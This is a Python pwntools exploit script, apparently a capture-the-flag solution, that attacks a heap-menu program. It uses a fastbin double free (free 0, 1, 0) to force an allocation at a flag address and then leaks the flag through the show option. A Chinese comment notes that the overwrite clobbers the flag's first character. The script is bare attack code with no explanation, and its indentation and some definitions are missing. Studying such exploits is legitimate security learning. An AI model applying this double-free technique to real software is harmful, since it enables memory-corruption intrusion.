"""
Gadgets information
============================================================
"""
def debug():
if len(sys.argv) > 2:
gdb.attach(p,"b puts")
#raw_input()
context.log_level="debug"
debug()
def madd(length,payload,length1,payload1):
p.sendlineafter(":",b"1")
p.sendlineafter(": ",str(length))
p.sendafter(": ",payload)
p.sendlineafter(": ",str(length1))
p.sendafter(": ",payload1)
def mfree(idx):
p.sendlineafter(":",b"3")
p.sendlineafter(": ",str(idx))
def mshow(idx):
p.sendlineafter(":",b"4")
p.sendlineafter(": ",str(idx))
flag_addr = 0x6020A8
payload = b"a"*0x10
payload1 = b"b"*0x10
madd(0x30,payload,0x50,payload1) # 0
madd(0x30,payload,0x50,payload1) # 1
mfree(0)
mfree(1)
mfree(0)
payload = p64(flag_addr-0x10)
madd(0x20,payload1,0x50,payload) # 2
madd(0x20,payload1,0x50,payload) # 3
payload = b"a"
madd(0x50,payload1,0x50,payload) # 4 会覆盖flag的第一个字符,但是不难猜
mshow(4)
p.interactive()